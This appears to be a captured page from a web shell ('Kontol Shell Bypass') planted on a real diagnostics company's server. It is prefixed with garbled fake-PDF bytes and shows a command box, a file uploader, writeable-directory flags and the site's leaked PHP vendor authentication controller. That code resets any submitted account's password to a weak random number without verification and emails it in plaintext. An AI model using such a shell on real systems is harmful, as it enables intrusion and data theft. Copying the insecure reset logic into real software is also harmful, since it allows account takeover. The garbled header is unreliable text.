%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/modules/vendor/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/modules/vendor/controllers/Auth.php
<?php
/*
 * @Author:   Chandni Gupta
 */
if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Auth extends VENDOR_Controller
{

    private $registerErrors = array();

    public function __construct()
    {
        parent::__construct();
        $this->load->model('Auth_model');
    }

    public function index()
    {
        show_404();
    }

    public function login()
    {
        $data = array();
        $head = array();
        $head['title'] = lang('user_login_page');
        $head['description'] = lang('open_your_account');
        $head['keywords'] = '';

        if (isset($_POST['login'])) {
            $result = $this->verifyVendorLogin();
            if ($result == false) {
                $this->session->set_flashdata('login_error', lang('login_vendor_error'));
                redirect(LANG_URL . '/vendor/login','refresh');
            } else {
                $remember_me = false;
                if (isset($_POST['remember_me'])) {
                    $remember_me = true;
                }
                $this->setLoginSession($_POST['u_email'], $remember_me);
                redirect(LANG_URL . '/vendor/me');
            }
        }
        $this->load->view('_parts/header_auth', $head);
        $this->load->view('auth/login', $data);
        $this->load->view('_parts/footer_auth');
    }

    private function verifyVendorLogin()
    {
        return $this->Auth_model->checkVendorExsists($_POST);
    }

    public function register()
    {
        $data = array();
        $head = array();
        $head['title'] = lang('user_register_page');
        $head['description'] = lang('create_account');
        $head['keywords'] = '';
        if (isset($_POST['register'])) {
            $result = $this->registerVendor();
            if ($result == false) {
                $this->session->set_flashdata('error_register', $this->registerErrors);
                $this->session->set_flashdata('email', $_POST['u_email']);
                redirect(LANG_URL . '/vendor/register');
            } else {
                $this->session->set_flashdata('success', 'Approval Mail will be sent to your mail id');
                 redirect(LANG_URL . '/vendor/login','refresh');
            }
        }
        $this->load->view('_parts/header_auth', $head);
        $this->load->view('auth/register', $data);
        $this->load->view('_parts/footer_auth');
    }

    private function registerVendor()
    {
        $errors = array();
        if (mb_strlen(trim($_POST['u_password'])) == 0) {
            $errors[] = lang('please_enter_password');
        }
        if (mb_strlen(trim($_POST['u_password_repeat'])) == 0) {
            $errors[] = lang('please_repeat_password');
        }
        if ($_POST['u_password'] != $_POST['u_password_repeat']) {
            $errors[] = lang('passwords_dont_match');
        }
        if (!filter_var($_POST['u_email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = lang('vendor_invalid_email');
        }
        $count_emails = $this->Auth_model->countVendorsWithEmail($_POST['u_email']);
        if ($count_emails > 0) {
            $errors[] = lang('vendor_email_is_taken');
        }
		if (mb_strlen(trim($_POST['pan_card'])) == 0) {
            $errors[] = 'Please enter PAN';
        }
		if (mb_strlen(trim($_POST['pan_card'])) != 10) {
            $errors[] = 'PAN should be of 10 digit long';
        }
        if (!empty($errors)) {
            $this->registerErrors = $errors;
            return false;
        }
        $this->Auth_model->registerVendor($_POST);
        return true;
    }

    public function forgotten()
    {
        $data = array();
        $head = array();
        $head['title'] = lang('user_forgotten_page');
        $head['description'] = lang('recover_password');
        $head['keywords'] = '';
		if($_POST){
			//print_r($_POST);die;
			unset($_POST['login']);
		$urlshow = base_url();
		$config = Array(
          'protocol' => 'sendmail',
          'mailtype' => 'html', 
          'charset' => 'utf-8',
          'wordwrap' => TRUE

      );
	  
	$this->load->library('email',$config);
	$_POST['pass']=rand(10000,100000);
	$email =$_POST['u_email'];
	$result=$this->Auth_model->changePassword($_POST);
	//print_r($STID);
	/***************** EMAIL  ****************/
				
		 $from_email = "info@shardadiagnostics.in";
		 $to_email = $email; 
		 
		
		 $body = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
			<html xmlns='http://www.w3.org/1999/xhtml'>
			<head>
			<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' />
			<title>Sharda Diagnostics 2018</title>
			<style type='text/css'>
			a{color:#000066; text-decoration:none;}

			.button {
			display: block;
			width: 115px;
			height: 25px;
			background:#0099CC;
			padding: 10px;
			text-align: center;
			border-radius: 5px;
			color: white;
			font-weight: bold;
			}
			</style>
			</head>

			<body style='font-family:Calibri'>

			<table width='700' border='0' align='center' cellpadding='0' cellspacing='0' style='border:1px solid #999'>
			  <tbody><tr>
				<td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
				  <tbody><tr>
					<td width='2%'>&nbsp;</td>
					<td width='96%'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
					  <tbody><tr>
						<td width='72%'><img src='".base_url()."attachments/site_logo/Logo.png' class='CToWUd'></td>
						<td width='28%'><table width='100%' border='0' cellspacing='0' cellpadding='0' align='right'>
						  <tbody>
						</tbody></table></td>
					  </tr>
					</tbody></table></td>
					<td width='2%'>&nbsp;</td>
				  </tr>
				</tbody></table></td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td style='background:#ffd200;float:left;width:100%;height:5px'></td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
				  <tbody><tr>
					<td>&nbsp;</td>
					<td style='background:#f1f2f4'>&nbsp;</td>
					<td>&nbsp;</td>
				  </tr>
				  <tr>
					<td>&nbsp;</td>
					<td style='background:#f1f2f4'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
					  <tbody><tr>
						<td width='2%'>&nbsp;</td>
						<td width='95%' style='font-family:Arial,Helvetica,sans-serif;font-size:13px'>
						<p style='font-family:Arial,Helvetica,sans-serif;font-size:20px;color:#333333'>Dear Vendor,</p>
						
						<p>Your password is changed ".$_POST['pass'].". Click  here for <a href='".base_url()."vendor/login'>Login</a></p> 
						
						<p><strong>Please re-set the password after Login.</strong></p>
						
						<p><strong>Thanks and Regards</strong></p>
						<p>Sharda Diagnostics Pvt. Ltd.</p>
						
						 </td>
						<td width='3%'>&nbsp;</td>
					  </tr>
					</tbody></table></td>
					<td>&nbsp;</td>
				  </tr>
				  <tr>
					<td width='2%'>&nbsp;</td>
					<td width='96%' style='background:#f1f2f4'>&nbsp;</td>
					<td width='2%'>&nbsp;</td>
				  </tr>
				</tbody></table></td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>

			  
			  <tr>
				<td style='background:#ffd200'>&nbsp;</td>
			  </tr>
			 
			</tbody></table>

			</body>
			</html>";
		
		
		 $this->email->from($from_email, 'Sharda-Diagnostics'); 
         $this->email->to($to_email);  
         $this->email->subject('Password Reset-Sharda Diagnostics'); 
         $this->email->message($body); 
		
		if($mailg = $this->email->send()){
		$this->session->set_flashdata('success','Password Sent to Your Mail Id');	
		} else {
		$this->session->set_flashdata('login_error', 'Something went wrong.');
		}
		redirect(LANG_URL . '/vendor/login');
		}	
        $this->load->view('_parts/header_auth', $head);
        $this->load->view('auth/recover_pass', $data);
        $this->load->view('_parts/footer_auth');
    }

}

Kontol Shell Bypass